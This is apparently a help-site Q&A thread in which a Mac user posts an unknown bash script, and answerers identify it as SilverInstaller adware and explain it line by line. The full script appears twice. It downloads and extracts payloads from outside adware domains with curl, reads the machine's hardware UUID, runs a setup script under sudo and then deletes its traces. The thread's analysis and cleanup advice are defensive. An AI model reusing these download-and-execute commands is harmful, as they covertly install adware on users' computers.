20

I noticed I had this file in the Macintosh HD folder.

enter image description here

And then when I click on it, it shows this:

enter image description here

Apparently this file was created in 2017, but I don't remember creating it.

Any idea what it could be?

Its content:

#!/bin/bash
func_4(){
/bin/mkdir -p /var/tmp
/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.premiummac.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs
mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')

COUNTRY="CA"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then
    sudo ./setup.sh "http://www.searchitdown.com/?n=026&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=026&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=026&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="
else
    sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_2712c1" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
    /usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &

}
func_4 &
  • 31
    Double clicking (aka running the file) is not advisable since you have no idea what it does. This appears to be a shell script of some type so you should edit it and post the contents to your original question so we can see what it contains. – Allan Sep 10 at 21:03
  • 3
    open it in a text editor, that is what I do. Often these are spurious files created by an app or the OS that can be deleted with no consequence. But if you are curious, peek inside and see what it says... – Steve Chambers Sep 10 at 21:03
  • 2
    If you want to do this via the terminal, just issue the command cat file | pbcopy and then paste it to the question. Do this from the Macintosh HD folder. – Allan Sep 10 at 21:04
  • 2
    So, what I was able to uncover is that the script downloads and extracts a file from premiummac.com which is hosted on an AWS server. Issue the command dig premiummac.com in Terminal for the details. searchitdown seems to redirect to a google page. What you’re looking at here is some very questionable script that looks, walks, and quacks like a malware infected duck. – Allan Sep 10 at 21:39
  • 8
    That script downloads malware from a remote server. You need to assume it ran at some point and your system is already compromised. Don't take any chances and reinstall the machine, then change your passwords and consider all data that was in contact with the machine up to the reinstall compromised. – André Borie Sep 11 at 10:54
5

That script does everything I would expect malware to do and has been around for a while so the domains it connects could be blocked or shut down now.

  • Downloads some files, runs those files and cleans up after itself.

It could be ad(vertising)ware instead of malware, but it’s clearly fingerprinting your mac, reporting a unique identifier for your Mac and intending to change the state of the Mac. Unless you opted in to the tool and wanted it to run, (and even if you did once) downloading and running the MalwareBytes cleaner would be my next step

  • 3
    The output including and following 'logout' is part of Terminal's session management (/etc/bashrc_Apple_Terminal) and unrelated to the file. – grg Sep 10 at 21:03
  • @bmike I've ran malware bytes on my mac many times, it never got rid of this file for some reason. But I'll run it again just to make sure. Thanks :) – Friendly Siren Sep 10 at 22:51
42

This is SilverInstaller, adware to download more adware and ‘potentially unwanted programs’. This was likely distributed through fake Flash popups, which someone on the system clicked on, downloaded, opened, installed and provided administrator credentials to.

Installed software in this package likely includes

MacKeeper, VSearch, A Pirrit injector, BrowserEnhancer, MPlayer

all of which you most certainly don't want.

I'll break down the code

#!/bin/bash

This code is script to be interpreted by bash, noted by this shebang.

func_4(){

Begin a function declaration including body to be called later on.

/bin/mkdir -p /var/tmp

Make sure the tmp directory exists to be used for temporary storage of the malicious payloads later on.

/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.premiummac.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs

Download and extract the first malicious payload. sr_v2.tgz is BrowserEnhancer. The payload contains a dvs directory.

mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')

Get a unique identifier for this machine to be used later.

COUNTRY="CA"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then

Try some region matching to decide what to do next. I say ‘try’ because this doesn't work when the region is hard-coded in the script.

    sudo ./setup.sh "http://www.searchitdown.com/?n=026&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=026&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=026&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="

Call to an external script with some more fancy adware domains.

else
    sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_2712c1" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

This bit never gets executed as mentioned.

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
    /usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

Grab another payload.

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &

Clean up, removing the files created and dropped earlier in the script, after a delay given that the files would have been used by then.

}
func_4 &

Function all ready to go, time to call it.

  • 4
    This answers these two questions too :)stackoverflow.com/search?q=www.searchitdown.com – ankii Sep 10 at 22:00
  • 3
    @grg thank you so much for taking the time to both identify this and break down the code for me to understand it. Any idea what I should do to get rid of it? I already ran malware bytes on my mac – Friendly Siren Sep 10 at 22:49
  • 1
    @FriendlySiren you should be able to run sudo rm /File to get rid of the script itself. This won't remove any malware installed by it though. – nohillside Sep 11 at 13:11
  • 4
    It's pretty likely the hardcoded values (COUNTRY and CLIENT_COMP) are filled in by the server as it's sending the script. It's easier and more reliable than having the server change that code dynamically. – Kevin Sep 11 at 17:06
  • 2
    The good news is that two out of three payloads return server errors, and the third is non-functional without the others. – Mark Sep 11 at 19:54

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .